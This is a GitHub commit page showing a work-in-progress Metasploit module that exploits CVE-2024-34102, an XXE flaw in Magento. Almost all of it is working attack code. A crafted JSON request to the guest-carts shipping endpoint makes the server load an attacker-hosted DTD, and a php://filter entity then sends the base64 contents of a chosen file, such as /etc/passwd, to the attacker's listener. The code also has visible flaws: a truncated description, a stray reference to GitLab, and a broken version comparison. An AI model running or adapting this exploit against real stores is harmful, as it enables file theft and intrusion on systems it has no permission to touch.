Skip to content

Commit d89df44

Browse files
committed
WIP - added module for CVE-2024-34102
on-behalf-of: @redwaysecurity [email protected]
1 parent 2b6cf16 commit d89df44

File tree

1 file changed

+172
-0
lines changed

1 file changed

+172
-0
lines changed
Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HttpServer
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Magento XXE Unserialize Remote Code Execution',
16+
'Description' => %q{
17+
This module exploits an XXE vulnerability in Magento 2.3.4-p2 and below which allows
18+
},
19+
'Platform' => 'php',
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[ ' Sergey Temnikov '],
23+
'Payload' =>
24+
{},
25+
'References' =>
26+
[ 'CVE', '2024-34102',
27+
'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'
28+
],
29+
'Arch' => ARCH_PHP,
30+
'Targets' =>
31+
[
32+
[ 'Automatic Targeting', { 'auto' => true } ],
33+
],
34+
'DisclosureDate' => '2024-07-28',
35+
'DefaultTarget' => 0))
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]),
40+
OptString.new('FILE', [ true, "The file to read", "/etc/passwd"]),
41+
])
42+
end
43+
44+
45+
def check
46+
vprint_status('Trying to get the GitLab version')
47+
48+
# request to check if the target is vulnerable /magento_version
49+
res = send_request_cgi({
50+
'method' => 'GET',
51+
'uri' => normalize_uri(target_uri.path, '/magento_version'),
52+
})
53+
54+
# binding.pry
55+
56+
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
57+
# Magento/2.4 (Community)
58+
version, edition = res.body.scan(/Magento\/([\d.]+) \(([^)]+)\)/).first
59+
60+
61+
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless (
62+
version <= (Rex::Version.new('2.4.7')) ||
63+
version <= (Rex::Version.new('2.4.6-p5')) ||
64+
version <= (Rex::Version.new('2.4.5-p7')) ||
65+
version <= (Rex::Version.new('2.4.4-p8')) ||
66+
version <= (Rex::Version.new('2.4.3-ext-7')) ||
67+
version <= (Rex::Version.new('2.4.2-ext-7'))
68+
69+
)
70+
71+
CheckCode::Vulnerable("Detected Magento #{edition} edition version #{version} which is vulnerable")
72+
73+
end
74+
75+
def ent_eval
76+
@ent_eval ||= rand_text_alpha_lower(4..8)
77+
end
78+
79+
def leak_param_name
80+
@leak_param_name ||= rand_text_alpha_lower(4..8)
81+
end
82+
83+
def dtd_param_name
84+
@dtd_param_name ||= rand_text_alpha_lower(4..8)
85+
end
86+
87+
def make_xxe_dtd
88+
ent_file = rand_text_alpha_lower(4..8)
89+
%Q|
90+
<!ENTITY % #{ent_file} SYSTEM "php://filter/convert.base64-encode/resource=#{datastore['FILE']}">
91+
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">
92+
|
93+
end
94+
95+
def xxe_xml_data
96+
97+
param_entity_name = rand_text_alpha_lower(4..8)
98+
99+
xml = "<?xml version='1.0' ?>"
100+
xml += "<!DOCTYPE #{rand_text_alpha_lower(4..8)}"
101+
xml += "["
102+
xml += " <!ELEMENT #{rand_text_alpha_lower(4..8)} ANY >"
103+
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
104+
xml += "]"
105+
xml += "> <r>&#{ent_eval};</r>"
106+
107+
xml
108+
end
109+
110+
def xxe_request
111+
post_data = <<~EOF
112+
{
113+
"address": {
114+
"totalsCollector": {
115+
"collectorList": {
116+
"totalCollector": {
117+
"sourceData": {
118+
"data": "#{xxe_xml_data}",
119+
"options": 12345678
120+
}
121+
}
122+
}
123+
}
124+
}
125+
}
126+
EOF
127+
128+
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),
132+
'ctype' => 'application/json',
133+
'data' => post_data,
134+
})
135+
136+
return true if (res && res.body.include?('[]'))
137+
138+
false
139+
end
140+
141+
def exploit
142+
143+
start_service({
144+
'Uri' => {
145+
'Proc' => proc do |cli, req|
146+
on_request_uri(cli, req)
147+
end,
148+
'Path' => '/'
149+
}
150+
})
151+
xxe_request
152+
rescue Timeout::Error => e
153+
fail_with(Failure::TimeoutExpired, e.message)
154+
end
155+
156+
def on_request_uri(cli, req)
157+
super
158+
data = ''
159+
# vprint_status("Received request for #{req.uri}")
160+
case req.uri
161+
when /(.*).dtd/
162+
data = make_xxe_dtd
163+
when /#{leak_param_name}/
164+
data = req.uri_parts['QueryString'].values.first
165+
print_good("Received file #{datastore['FILE']} content")
166+
puts(Base64.decode64(data))
167+
end
168+
169+
send_response(cli, data)
170+
end
171+
172+
end

0 commit comments

Comments
 (0)